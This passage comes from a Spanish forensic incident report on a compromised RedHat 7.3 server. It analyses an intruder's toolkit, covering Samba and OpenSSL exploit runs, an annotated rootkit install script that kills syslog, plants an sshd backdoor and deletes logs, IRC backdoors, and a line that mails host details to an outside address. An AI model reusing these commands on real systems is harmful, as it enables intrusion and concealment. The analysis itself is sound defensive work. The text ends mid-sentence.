/root/.bash_history /.bash_history /.bash_history A estos programas hay que añadir 2 más, za.tgz y own, que si bien se baja de Internet probablemente en la sesión de FTP inicial, aunque no aparecen en los logs del sistema información al respecto. Procederemos a continuación a realizar una explicación de cada uno de los programas que se baja. 3.1. Scanner y exploit de Samba: woot.tgz Este programa es un autorooter. Un autorooter 16 es una herramienta que escanea y compromete maquinas vulnerables en una red. Está compuesto por varios programas que ínter operan para automatizar toda la tarea. En este caso, el autorooter busca maquinas con un servidor samba vulnerable a versiones de samba de versión igual o menor de la 2.2.8 17 . Un usuario remoto puede explotar esta vulnerabilidad y ganar acceso de root a la maquina. Este paquete woot.tgz que se baja el atacante, se compone de una serie de programas y scripts que tienen funcionalidades especificas, siendo llamados a través del script, asmb. Para llamar a 16 Definición de autorooter: http://en.wikipedia.org/wiki/Autorooter http://www.securityfocus.com/infocus/1619 17 Explicación del exploit: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201 Parche de RedHat: ftp://updates.redhat.com/7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm Exploits para la vulnerabilidad: http://www.securityfocus.com/bid/7294/exploit/ 29 este script debemos de realizarlo pasándole como parámetro una clase B de IPS que escaneara buscando la vulnerabilidad. El script asmb, llama al a su vez al programa “pscan2“ que comprueba, IP a IP de la clase B, si tienen abierto el puerto 139. Esta ejecución da como resultado un fichero con las maquinas con ese puerto abierto. A continuación se llama al programa “vulvn“ que se alimenta del fichero anterior e intenta identificar la versión de samba. Al igual que en la ejecución del otro programa, se crea otro fichero con las maquinas que encuentra. Para terminar, se realiza una llamada al programa “o0o“ que a su vez llama al programa “try” que comprueba el tiempo de ejecución del exploit al que llama este (sambas). El programa sambas explota la vulnerabilidad y escribe en el fichero “woot.log” que en cada una de sus líneas aparece el comando que tiene que ejecutar el atacante para poder explotar esta funcionalidad en dichas maquinas. Una vez ejecutado esta línea, y si todo va como el atacante espera, al entrar en la máquina tendríamos permisos de administrador o root, por lo que no necesitaríamos ningún programa para subir nuestros permisos. Las líneas de este programa serán del tipo: ./samba -b 0 -v 10.0.128.128 Adjuntamos una lista de las versiones de samba y el sistema operativo que son vulnerables a este exploit. Este listado esta sacado de la salida de los strings del programa “samba”. sstrings sambas 54 55 56 57 58 59 60 61 62 63 samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x - Debian 3.0 Gentoo 1.4.x Mandrake 8.x Mandrake 9.0 Redhat 9.0 Redhat 8.0 Redhat 7.x Redhat 6.x Slackware 9.0 Slackware 8.x 64 65 66 67 68 69 70 71 72 73 samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.x samba-2.2.8 samba-2.2.7 samba-2.2.5 - SuSE 7.x SuSE 8.x FreeBSD 5.0 FreeBSD 4.x NetBSD 1.6 NetBSD 1.5 OpenBSD 3.2 OpenBSD 3.2 (package) OpenBSD 3.2 (package) OpenBSD 3.2 (package) Para terminar, realizamos un ataque con este exploit sobre la nuestra maquina test, pero a diferencia de la maquina comprometida, esta tenia el paquete de samba instalado y funcionando. En este listado, se puede ver primero el comando ejecutado sobre la maquina a atacar y a continuación, el acceso del programa a la maquina. La firma del creador del programa “wooooot! kha0s owns u :)”, la ejecución del “uname”, “id” y del “uptime” y para terminar, el shell que nos da. El comando “uname –a” se ejecuto sobre ese shell, cuando ya teníamos premisos de root o administrador sobre la maquina atacada. # ./samba -b 0 -v 10.0.128.128 + Using ret: [0xbffffed4] + Using ret: [0xbffffda8] + woot woot! -------------------------------------------------------------wooooot! kha0s owns u :) Linux rh73.localdomain 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=0(root) gid=0(root) groups=99(nobody) 8:03pm up 5:24, 4 users, load average: 4.39, 4.22, 4.08 uname -a Linux rh73.localdomain 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown exit 30 3.2. Scanner y exploit de Apache+ssl: selena.tgz Este paquete busca maquinas que tengan una vulnerabilidad ampliamente documentada en el paquete OpenSSL 18 en versiones anteriores a la 0.9.6e, y al ser la versión que tiene instalada la maquina comprometida la 0.9.6b, siendo esta la vulnerabilidad usada por el atacante para entrar en la maquina como se pudo ver en puntos anteriores. Una vez el atacante entra en las maquinas que son susceptibles a este bug, lo realizara con permisos de usuario apache. Esto implica que el atacante deberá aumentar sus permisos usando alguna vulnerabilidad local de la maquina atacada. Este programa a diferencia del anterior, se lo baja de una página web perteneciente a una empresa rumana que se dedica a la venta de electrodomésticos (www.plus.factory.home.ro). Este paquete usa la misma estructura que el paquete woot.tgz, esto es, existe un script que una vez llamado, va ejecutando comando a comando comprobando si las maquinas pasadas como parámetros son vulnerables. Hasta que al final crea un fichero de texto donde escribe los comandos que el atacante debería de ejecutar para conseguir acceso a la maquina explotando esta vulnerabilidad. Como en el caso del woot, se lo baja ya compilado, con que no tiene los problemas que le podría haber ocasionado tener que compilarlo, sobre todo a la hora de búsqueda de compiladores, librerías, etc. Al igual que el paquete woot, este es llamado a través del script “assl” indicándole una clase B como entrada al programa. Lo primero que hace el script es llamar al programa “pscan2”, que va chequeando maquina por maquina buscando las que tengan abierto el puerto 443/TCP, que es el puerto donde por defecto corre el servidor web seguro. Como resultado de la ejecución de este programa, crea un fichero que contiene un listado de las maquinas que tienen dicho puerto abierto. Con la lista anteriormente creada, procede a llamar al programa “ssvuln” que intenta identificar la versión del servidor web seguro (Apache) por si esta fuera atacable. Como viene siendo habitual, la ejecución de este comando crea un fichero con la lista de maquinas atacables. Para terminar se crea una lista llamada “res.log” donde indicara los comandos que debe ejecutar el atacante si quiere entrar en las maquinas que son vulnerables a este exploit. Para crear esta lista hace una llamada al comando “oops” que intenta entrar en todas y cada una de las maquinas anteriormente reconocidas por tener un servidor apache. El script termina borrando las listas creadas a lo largo de la ejecución de los diferentes comandos, dejando únicamente el fichero “res.log” del que se ha hablado anteriormente.. A continuación vemos un listado de los sistemas operativos y sus versiones del apache que pueden explotar este bug y posibilitar al exploit comprometer dichas maquinas. Esta lista esta sacada de los strings del comando “sslx” que usara el atacante para entrar en la maquina que quiera comprometer. sstrings sslx Mandrake Linux 8.2 (apache-1.3.23-4) Mandrake Linux 8.1 (apache-1.3.20-3) Mandrake Linux 8.0 (apache-1.3.19-3) Mandrake Linux 7.1 (apache-1.3.14-2) Mandrake Linux 7.1 (apache-1.3.14 worm offset) SuSE Linux 8.0 (apache-1.3.23) SuSE Linux 8.0 (apache-1.3.23-137) SuSE Linux 7.3 (apache-1.3.20) SuSE Linux 7.2 (apache-1.3.19) SuSE Linux 7.1 (apache-1.3.17) SuSE Linux 7.0 (apache-1.3.12) RedHat Linux 7.3 (apache-1.3.22 worm offset) RedHat Linux 7.3 (apache-1.3.23-11) 18 Redhat Linux 7.2 (apache-1.3.26 w/PHP) Redhat Linux 7.2 (apache-1.3.26 worm offset) RedHat Linux 7.2 (apache-1.3.20-16) RedHat Linux 7.1 (apache-1.3.19-5) RedHat Linux 7.0 (apache-1.3.12-25) RedHat Linux 6.2 (apache-1.3.12-2) RedHat Linux 6.1 (apache-1.3.9-4) RedHat Linux 6.0 (apache-1.3.6-7) Slackware 8.1-stable (apache-1.3.26) Slackware 7.0 (apache-1.3.26) Debian Woody GNU/Linux 3.0 (apache-1.3.26-1) Gentoo (apache-1.3.24-r2) Vulnerabilidad OpenSSL versiones < 0.9.6e http://www.cert.org/advisories/CA-2002-23.html 31 A continuación ponemos un ejemplo de la ejecución del comando que aparece en el fichero “res.log” para posibilitar entrar en una maquina con RedHat 7.3. Nótese, que a diferencia del caso anterior, en este caso entramos con el usuario apache, no como root, por lo que el atacante debe realizar alguna acción para ganar permisos. # # # # # # # ./ssx -a 0xc 10.0.128.128 Opening 30 connections Establishing SSL connections Using the OpenSSL info leak to retrieve the addresses ssl0 : 0x814bac0 ssl1 : 0x814bac0 ssl2 : 0x814bac0 # Sending shellcode ciphers: 0x814bac0 start_addr: 0x814ba00 SHELLCODE_OFS: 208 # Execution of stage1 shellcode succeeded, sending stage2 # Spawning shell... bash: no job control in this shell readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) 3:02pm up 2:01, 0 users, load average: 0.01, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ id uid=48(apache) gid=48(apache) groups=48(apache) readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ exit exit # Connection closed. 3.3. Rootkit y backdoor: crk.tgz Este programa se lo baja de la dirección www.zetu.as.ro. Como se puede observar en el fichero /.bash_history. Lo descomprime y lo ejecuta pasándole como parámetros el password de acceso (eliteaz) y el puerto donde instalara un servidor ssh (puerto 9933). /.bash_history 14 15 16 22 wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz cd crk ./install eliteaz 9933 Veamos ahora lo que hace el script de instalación de este programa. En las primeras líneas de este fichero vemos que el autor nos explica la finalidad de este programa. Vemos que el autor lo firma como “ZeToo”. Comenta que es un backdoor que arranca un servicio ssh en la maquina que se instala. 1 2 3 4 5 6 7 8 #!/bin/bash # # Linux all rootkit ... made for personal use and friends by ZeToo # Greetz to : V-R34L , Beleaua , Azazel ... # This is my first sshd backdoor so it has minimal things ... # i`ll add functions in time :) # No install help added coz its a "private" rk # www.cycomm-lamm3rz.com En la línea 31 y 32, comprueba los permisos para la instalación de este paquete, si el usuario que lo instala no es root, saldría con un error. Dado que este programa se instalo en la maquina del estudio, esto se realizo con permisos de root. 32 31 if [ "$(whoami)" != "root" ]; then 32 echo "${BLU}[+] ${RED}You dont have root access on this box ... get uid0 and retry" Descomprime a continuación todos los ficheros que vienen con el paquete para luego copiarlos en el sistema. 45 46 47 48 49 50 51 52 tar xfz bin.tgz tar xfz conf.tgz tar xfz lib.tgz rm -rf bin.tgz rm -rf conf.tgz rm -rf lib.tgz tar xfz bin/ssh.tgz rm -rf ssh*.tgz En la línea 57, mata el proceso syslog. Esto lo realiza para no dejar trazas de lo que realice a continuación. 57 killall -9 syslogd Mueve los ficheros descomprimidos antes del directorio lib, moviéndolos al directorio /lib del sistema. 75 mv lib/* /lib/ Adjunto los nombres de los ficheros que mueve al directorio /lib. -rwxr-xr-x lrwxrwxrwx -rwxr-xr-x 1 root 1 root 1 root root root root 33848 sep 16 mar 37984 sep 8 2000 libproc.a 2 02:27 libproc.so -> libproc.so.2.0.6 8 2000 libproc.so.2.0.6 Mueve el fichero /sbin/xlogin a /bin/login. En la versión 7.3 no existe ese fichero. En la línea 79 vemos que reconstruye los enlaces a las librerías del sistema para que use las librerías que hemos copiado anteriormente. 78 mv /sbin/xlogin /bin/login 2>/dev/null 79 /sbin/ldconfig A continuación, crea una serie de directorios donde meterá los ficheros de configuración del rootkit. 85 mkdir /lib/security 2>/dev/null 86 mkdir /lib/security/.config 2>/dev/null 87 mkdir /lib/security/.config/ssh 2>/dev/null En la siguiente línea crea el password de entrada al sistema. Como ya se vio en cuando hablamos de los scanners de rootkits, este fichero aparecía. Vemos a continuación, que ejecutando el comando, con el password “eliteaza” da el mismo resultado que el contenido del fichero. 96 ./pg $1 > /etc/ld.so.hash # ./pg eliteaz dbSj8RE0TA3pQ # cat /etc/ld.so.hash dbSj8RE0TA3pQ Según los caracteres que tiene dicha línea (13 caracteres) y el tipo, parece ser que es el password del rootkit. Este password encriptado puede ser usado por el atacante cuando se conecte al rootkit para conseguir una shell de root en la maquina comprometida. Esta teoría se confirmara en un punto posterior. 33 Además este fichero no se copio a la maquina cuando de instalo la primera vez, por lo que se deduce que fue instalado a posteriori después de la fecha de instalación del equipo. # rpm -qf /etc/ld.so.hash --dbpath /reto2/hda/var/lib/rpm error: file /etc/ld.so.hash: No existe el fichero o el directorio Copia el fichero con la password con otro nombre. De este fichero ya hablamos cuando buscábamos el rootkit. 98 cp -f /etc/ld.so.hash /lib/libext-2.so.7 Mete el puerto que hemos indicado al arrancar el programa. 116 echo "Port $2" >> $basedir/bin/.sh/sshd_config A continuación mete el puerto en los ficheros que se indican. 117 echo "3 $2" >> $basedir/conf/hosts.h 118 echo "4 $2" >> $basedir/conf/hosts.h Crea el archivo de configuración para el ssh, anexando un archivo ya preparado al fichero con el puerto que ha creado anteriormente en la línea 116. 120 cat $basedir/bin/.sh/shdcf2 $basedir/bin/.sh/shdcf2 >> $basedir/bin/.sh/sshd_config ; rm -rf Copia los archivos de configuración /lib/lidps1.so, file.h, hosts.h, log.h y proc.h al directorio /usr/include. De estos ficheros ya se hablo en el punto de escaneo de rootkits, pero para recordar, diremos que son listas de IPS, puertos y comandos que serán eliminados de las salidas de los comandos cuando estos sean ejecutados sobre el sistema en el que se instalo este rootkit. 131 mv $basedir/conf/lidps1.so /lib/lidps1.so 132 mv $basedir/conf/* /usr/include/ Mueve los ficheros de configuración del servicio /lib/security/.config/ssh/. Siendo los ficheros que ssh_host_key, ssh_host_key.pub y ssh_random_seed. ssh mueve al directorio sshd_config, 138 mv .sh/* /lib/security/.config/ssh/ Aquí lo que realiza el script es copiar el fichero de arranque del servicio ssh a /usr/sbin/xntps y a /lib/security/.config/. Una vez que lo copia arranca el servicio o el backdoor con la línea “/usr/sbin/xntps –q”. 140 141 142 143 cp /lib/security/.config/ssh/sshd /usr/sbin/xntps mv /lib/security/.config/ssh/sshd /lib/security/.config/ chmod 755 /usr/sbin/xntps /usr/sbin/xntps –q A continuación crea un fichero de arranque en /etc/rc.d/init.d con el nombre “cycomm”. Esta parte tiene un fallo, y es que falta un enlace de este fichero al rc correspondiente, en este caso el comando seria “ln –s /etc/rc.d/init.d/cycomm /etc/rc.d/init.d/S90cycomm”. Con este comando se activaría el servicio la próxima vez que se arranca la maquina. 149 150 151 152 echo "#!/bin/bash" >> /etc/rc.d/init.d/cycomm echo "#startup script ... doh" >> /etc/rc.d/init.d/cycomm echo "/usr/sbin/xntps -q" >> /etc/rc.d/init.d/cycomm chmod +x /etc/rc.d/init.d/cycomm 34 Borra los logs que se han podido crear en el sistema. Y los históricos del usuario root. 157 rm -rf /var/log/* 160 rm -rf /bash.history 161 rm -rf /root/.bash_history Este script tiene un fallo y es que no copia o mueve los comandos que se encuentran en el directorio bin creado por el rootkit a las localizaciones de los binarios del sistema. Estos binarios que se encuentran en este directorio están preparados para leer los ficheros creados anteriormente y no mostrar por pantalla las palabras definidas en dichos ficheros. Por ejemplo, en el fichero /lib/lidps1.so esta definida la palabra “xntps”, que es el backdoor que arranca este rootkit. Si ejecutamos el binario “ps” que esta en el sistema aparece el proceso, pero si en cambio ejecutamos el que viene con el rootkit, este proceso no aparece. # /bin/ps -ef | grep xntps root 9997 1 0 01:16 ? 00:00:00 /usr/sbin/xntps -q # /var/tmp/crk/bin/ps -ef | grep xntps # Como hemos visto en el fichero mactime_todo.txt, el atacante sustituye los binarios del sistema por los del rootkit, esto indica que no es la primera vez que el atacante hace uso de este rootkit. A continuación añado las líneas que debieron de salir al atacante cuando ejecuto la instalación del rootkit sobre la maquina atacada. [root@rh73 crk]# ./install eliteaz 9933 [+] ------------------------------------------------------------------[+] _____ _____ ___ [+] / \ / \ | | [+] | ____| | ___| __ __ __ __ | | [+] | | _ _ | | __ | \_/ || \_/ | | | [+] | | | | | || | / \ | || | | | [+] | |___ | \/ || |__ | || || | | |____ _ [+] | | \ / | || || |\/| || |\/| | | | / \ [+] \_____/ \ / \_____/ \__/ |__| |_||__| |_| |________| \_/ [+] |__| [+] CyComm Lamm3rz Rootkit For all versions of linux [+] -------------------------------------------------------------------[+] Rootkit instalation started at 23:47:20 [+] ... [+] Instaling sshd backdoor now [+] ... [+] Using your requested password : eliteaz [+] ... [+] Using your requested port : 9933 [+] ... [+] Doing some things ... :P .. to make the rk restart after reboot [+] ... [+] Erasing some system logs [+] ... [+] Showing local infos ...just for fun :P [+] ... [+] Procesor or procesors :) [+] MobileIntel(R)Pentium(R)III [+] Ip address from eth0 [+] 10.0.128.128 [+] Root uptime and kernel version [+] 11:47pm up 10:46, 2 users, load average: 0.41, 0.10, 0.03 [+] Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown [+] ------------------------------------------------------------------- 35 [+] [+] [+] [+] Done installing Cycomm rootkit on 10.0.128.128 You can now login using ssh port 9933 and global pass eliteaz Visit www.cycomm-lamm3rz.com - #cycomm-lamm3rz @ undernet -------------------------------------------------------------------- Para terminar estudiaremos los ficheros que no se han visto en puntos anteriores. Como ya se ha comentado, la mayoría de estos ficheros contiene una lista de palabras las cuales no serán presentadas en las salidas de los comandos ejecutados con los binarios de este rootkit. El fichero /usr/include/file.h podemos ver que contiene una serie de palabras que indican accesos a librerías, ficheros de configuración, procesos arrancados etc. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 libext-2.so.7 .sh system tksb tkp lblip.tk tks ldd.so srd0 ldlib.5 .config ld.so.hash eggdrop emech psybnc En el fichero /usr/include/hosts.h, se definen IPS, y puertos que no deben aparecer en los listados de ciertos programas, por ejemplo el netstat. El primer digito, indica el tipo de dato que sale a continuación. Un 2 para IPS o rango de IPS, y el 3 y 4 para tipo de puertos, ya sean TCP o UDP. Es interesante ver que en las últimas líneas de este fichero esta definido el puerto 9933 que es el que arranca el rootkit con un servidor ssh. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 2 2 2 3 4 3 4 3 3 4 4 3 3 4 4 2 2 3 4 212.110 195.26 194.143 2002 2002 6667 6667 31415 31414 31415 31414 21018 21019 21018 21019 62.220 213.233 9933 9933 Fichero /usr/include/log.h, al igual que el fichero anterior, se definen rango de IPS y procesos o ficheros que no deben de aparecer en los listados. 1 2 3 4 5 62.220 212.110 195.26 SH-fORCE sh-fORCE 36 6 7 8 9 10 psyBNC eggdrop t0rn torn tornkit Fichero /usr/include/proc.h, se definen únicamente procesos que no deben aparecer en los listados. 1 2 3 4 5 6 7 8 9 10 3 3 3 3 3 3 3 3 3 3 eggdrop bnc psyBNC sh-fORCE SH-fORCE synscan setup in.inetd tk xntps 3.4. Irc Bouncer: psybnc.tgz El psyBNC 19 es un programa bouncer de IRC. Este tipo de programas actúan como proxys de IRC permitiendo ocultar la dirección IP real del usuario que se conecta al IRC a través de este tipo de programas. Esto permite al usuario que se conecte a través suyo mantener la conexión abierta en el canal elegido con los privilegios del usuario conectado aun en el caso que el usuario se desconecte. La IP real del usuario que use este aplicativo, se mantendrá oculta incluso en transferencias de ficheros con sesiones DCC. Durante el tiempo que el atacante se encuentra en la maquina se baja 2 versiones de este bouncer y un fichero de configuración, aun así no consigue hacer funcionar este programa. La configuración del archivo de este programa es la siguiente: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 19 PSYBNC.SYSTEM.PORT1=17900 PSYBNC.SYSTEM.HOST1=* PSYBNC.HOSTALLOWS.ENTRY0=*;* USER1.USER.LOGIN=Angel USER1.USER.USER=^_^C12GuEeS WhO? USER1.USER.PASS==1g'c0A0p'x1d1K1a`Y USER1.USER.RIGHTS=1 USER1.USER.VLINK=0 USER1.USER.PPORT=0 USER1.USER.PARENT=0 USER1.USER.QUITTED=0 USER1.USER.ACOLLIDE=0 USER1.USER.DCCENABLED=1 USER1.USER.AIDLE=0 USER1.USER.LEAVEQUIT=0 USER1.USER.AUTOREJOIN=1 USER1.USER.SYSMSG=1 USER1.USER.LASTLOG=0 USER1.USER.AWAYNICK=Azazel USER1.USER.AWAY=^_^C12By Azazel USER1.USER.NICK=AzazeI USER1.SERVERS.SERVER1=lelystad.nl.eu.undernet.org USER1.SERVERS.PORT1=6667 USER1.CHANNELS.ENTRY1=#cycomm-lamm3rz USER1.CHANNELS.ENTRY2=#Smenari Mas información en http://www.psychoid.net/ 37 26 USER1.CHANNELS.ENTRY0=#port La primera y segunda línea crea un listener o un servicio que escucha en un puerto, que en nuestro caso será en todas y cada una de las IPS de la maquina escuchando el puerto 17900. En la tercera línea indica los hosts o IPS que se pueden conectar a este bouncer. Con esta línea indica que se pueden conectar todas (all). Otras líneas que son importantes son el nombre del usuario que usara para conectarse “Azazel”, conectándose al servidor de IRC lelystad.nl.eu.undernet.org, usando el puerto 6667. Y una vez conectado entra en los canales “cycomm-lamm3rz”, “Smenari” y “port”. 3.5. Rootkit Suckit: sc.tgz El SucKit es un rootkit que apareció en la revista electrónica Phrack 20 en el numero 58. Mas concretamente en el articulo 0x07 ("Linux on-the-fly kernel patching without LKM"). Es un rootkit que se carga en el sistema a través de /dev/kmem. Este instala un sniffer, un ocultador de procesos y de archivos enmascarando las acciones que realice el atacante a través de la puerta trasera que también crea este rootkit. El atacante después de bajarse el programa lo descomprime dando lugar a 3 ficheros. El primero de ellos es un script llamado “inst”. En este fichero codificado en octal se encuentra el fichero “sk” que es el sustituto del init del sistema. Este script, crea un directorio “/usr/share/.X12kernel” donde se encuentra el rootkit, que debe ser ejecutado para instalarlo. Adjuntamos la prueba de la instalación/ejecución de este rootkit sobre la maquina test. Se puede observar que primero, en la llamada de instalación el atacante usa la palabra “eliteaz” como password e indica que su puerta trasera debe ser abierta en el puerto 9933. Lo que también llama la atención, es que en la instalación del rootkit, falla dando un error de kernel. En un principio este error no tendría importancia, pero implica que si la maquina se rearranca esta no levantaría al estar el archivo /sbin/init corrompido por el rootkit. [root@rh73 sc]# ./inst eliteaz 9933 Your home is /usr/share/.X12-kernel, go there and type ./sk to install us into memory. Have fun! [root@rh73 sc]# cd /usr/share/.X12-kernel [root@rh73 sc]# ./sk /dev/null RK_Init: idt=0xffc18000, FUCK: Can't find sys_call_table[] 3.6. Irc backdoor: https 21 Troyano escrito en perl, que abre un acceso remoto por puerta trasera vía IRC. El troyano se conecta al servidor IRC eu.undernet.org, uniéndose al canal #aseasi, esperando instrucciones de un atacante remoto. Estas instrucciones pueden hacer que el troyano ejecute comandos en el servidor en forma arbitraria, o realice ataques de inundación de paquetes (flooding), a blancos específicos, pudiendo ser usado para ataques distribuidos de denegación de servicio (DDoS). 20 21 Phrack articulo 7 del numero 58: http://www.phrack.org/show.php?p=58&a=7 Información del Troyano: http://www.vsantivirus.com/perl-shellbot-a.htm 38 3.7. Backdoor: pico Programa que pone a correr una shell de root en el puerto 5608. Además en periodo de ejecución envía un email a la dirección radautiteam@yahoo.com con la siguiente información sacada de los strings de dicho fichero: 57 touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >> /tmp/.info; cat /tmp/.info | mail -s 'Port nou' radautiteam@yahoo.com Reproducimos la ejecución de este programa en la maquina test. Y verificaos que accedemos como root en el puerto indicado. [root@rh73 root]# telnet localhost 5608 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. sh-2.05a# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-2.05a# 3.8. Backdoor: za.tgz Este paquete, consta de dos ficheros: zbind y zero. El programa zbind al igual que en el caso del pico abre un shell de root en el puerto 4000. En este caso no envía correos. Adjuntamos la prueba realizada en la maquina test. [root@rh73 za]# telnet localhost 4000 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. sh-2.05a# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 3.9. Exploit: own22 Exploit local del kernel. Hace uso de una vulnerabilidad en una llamada a ptrace de los kernels 2.2 y 2.4. Un usuario del sistema ejecutando este programa gana privilegios de administrador o root de la maquina. Este fichero esta infectado con el virus RST.b. Este fichero fue borrado del sistema una vez que el intruso paso de usuario apache a root. En el punto 2.6 describimos los pasos dados para recuperar este fichero. El intruso lo descargo como otras herramientas de http://www.zetu.as.ro/own. Adjuntamos en un fichero aparte a este informe el programa recuperado. Procedemos a ejecutar este programa sobre la maquina test, comprobando que un usuario de sistema se convierte en root. 22 Información sobre la vulnerabilidad ptrace del kernel 2.2 y 2.4: http://www.kb.cert.org/vuls/id/628849 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127 39 [tato@rh73 tato]$ ./own [+] Attached to 8619 [+] Signal caught [+] Shellcode placed at 0x4000fd1d [+] Now wait for suid shell... sh-2.05a# 40 4. Respuestas a las preguntas del reto En este momento, ya tenemos toda la información que necesitamos para responder a las preguntas que se hacían en el reto. 4.1. ¿A que sistema corresponden las imágenes? • • • • El equipo era un Intel con un disco duro IDE. El sistema operativo que tenía instalado era Linux y la distribución RedHat 7.3. El sistema de ficheros era ext3. El nombre del equipo era finanzas. Tenía configuradas dos IPS, la primaria 192.168.200.128 y una virtual 192.168.100.188. Estas direcciones son de redes privadas no enrutables, así que presumiblemente había un router haciendo NAT y mapeando al menos el puerto 443 y 22 sobre esta maquina. 4.2. ¿El sistema fue vulnerado? El sistema fue vulnerado y durante la intrusión el intruso realizó las siguientes acciones: • • • • • Instaló defectuosamente 2 rootkits: SHV4 y Suckit. Instaló 2 autorooters: w00t (samba) y selena (apache+ssl). Infectó el equipo con 2 virus con capacidades de backdoor: RST.b y OSF.a Instaló 3 backdoors: zbind (shell), pico (shell) y https (irc) Instaló un bouncer de irc: psybnc. 4.3. ¿Quien y desde donde ingreso? El intruso durante el ataque no ha demostrado un alto nivel técnico, ha usado herramientas de terceros, ni siquiera se ha tomado la molestia de compilarlas y en cuanto han fallado, tampoco ha sabido como solucionarlo. Simplemente las ha vuelto a reinstalar y cuando han vuelto a fallar, se ha bajado otra distinta. De hecho, sospechamos que las infecciones con los virus son totalmente fortuitas y que el atacante desconoce su existencia y mucho menos como aprovecharse de ellas. En resumen son lo que comúnmente se conoce como Script-Kiddies, es decir, gente sin alto nivel técnico, que se descargan herramientas y las usan, pero en esencia no saben como funcionan. Suelen tener todo el tiempo del mundo para probar y probar y probar… El atacante instala varias herramientas de cada tipo en las típicas en el proceso de una intrusión (rootkit, backdoor, autorooter para atacar a otras maquinas). La única herramienta ajena a este proceso es el bouncer de Irc. Los bouncers se suelen usar para mantener el control de canales mientras se esta desconectado, para ocultar la IP real al resto, para lanzar ataques de DoS, etc. El perfil de la gente que se mete en estas guerras, suelen ser chicos jóvenes con afán de protagonismo y un ego alto. Usan el irc para “contar sus batallitas”, luchar con grupos rivales, etc. y los bouncer les ayudan a mantenerse anónimos en estos canales de irc, a atacar a otros y a evitar los ataques. En cuanto a la nacionalidad, debido a que la mayor parte de las herramientas que instala, se las baja de un proveedor de alojamiento web gratuito alojado en Rumania y cuyas paginas están íntegramente en rumano, parece razonable pensar que el atacante era de esa nacionalidad. Además una de las herramientas manda un mail a una dirección de yahoo cuyo username era radautiteam. Radauti es una pequeña ciudad rumana (35.000 habitantes) junto a la frontera con Ukrania, probablemente los atacantes sean de esta población o muy cercana. 41 Sin embargo podría sorprender que la IP del ataque (64.202.43.190) no provenga de Rumania sino de EEUU, en concreto de Reno, Nevada. Esto no tiene nada de sorprendente si pensamos que desde la maquina del reto (que esta en México) ataca a otras maquinas de Brasil, Italia, Polonia, etc. y estas percibirán el ataque con origen México. Con toda probabilidad la IP 64.202.43.190 es una maquina previamente comprometida. Por lo tanto respondiendo a la pregunta del reto, estimamos que: • El atacante es uno varios chicos jóvenes rumanos, probablemente de la ciudad de Radauti al Norte de Rumania, cerca de la frontera con Ukrania. • Con pocos conocimientos técnicos, que usan herramientas desarrolladas por terceros, pero que nunca desarrollan las suyas propias. • Cuya principal motivación es controlar el mayor número de maquinas posibles, para instalarles bouncers de IRC. • La dirección IP desde la que se conectaron es 64.202.43.190. El dominio pertenece a una empresa de hoteles asiática (asiahotels.net) pero la máquina esta físicamente en Reno, Nevada, EEUU en Altaway Technologies. Con toda seguridad dicha maquina esta a su vez comprometida. 4.4. ¿Cómo ingreso? El atacante aprovecho una vulnerabilidad existente en las librerías OpenSSL iguales o inferiores a la versión 0.9.6e. Dicha vulnerabilidad consiste en un buffer overflow durante el proceso de negociación en SSLv2 (CA-2002-23 23 VU#102795). En concreto, el equipo del reto, tenía la versión 0.9.6b, por lo que era vulnerable a cualquier servicio que usara dichas librerías. En este caso, el atacante entró a través del servidor seguro del apache que hace uso de estas librerías. La entrada se produjo usando el exploit que contiene el autorooter selena.tgz. Dicho exploit es el exploit desarrollado por Solar Eclipse solareclipse@phreedom.org y conocido como openssl-too-open 24 . Sin embargo, tras explotar la anterior vulnerabilidad, solo tenia acceso como usuario no privilegiado, así que necesito de un segundo exploit, esta vez local que aprovechaba una vulnerabilidad en los kernels 2.2 y 2.4 al realizar una llamada a la función ptrace(). Por lo tanto, lo descarga como usuario apache y tras su ejecución, se convirtió en root del sistema culminando la escalada de privilegios. 4.5. ¿Qué recomendaciones harías para minimizar el riesgo de una nueva intrusión? • • 23 24 Lo primero y fundamental es mantener una política de actualizaciones periódica de los parches de seguridad del S.O. instalado. En el caso que nos ocupa esto es especialmente difícil porque RedHat finalizo el soporte oficial de su versión 7.3 el 1 de Enero del 2004, por lo que hace más de un año que no tiene parches oficiales. Lo segundo es restringir al máximo los servicios que ofrece la maquina. Cuantas menos puertas de entrada tenga, tanto más fácil será mantener actualizado el sistema y menos probabilidades de encontrar un fallo. En este caso el servidor apache estaba corriendo, pero sin embargo no estaba sirviendo nada más que las paginas de inicio por defecto de la distribución. CA-2002-23: http://www.cert.org/advisories/CA-2002-23.html openssl-too-open: http://www.phreedom.org/solar/exploits/apache-openssl/ 42 • • • • • • Activar el 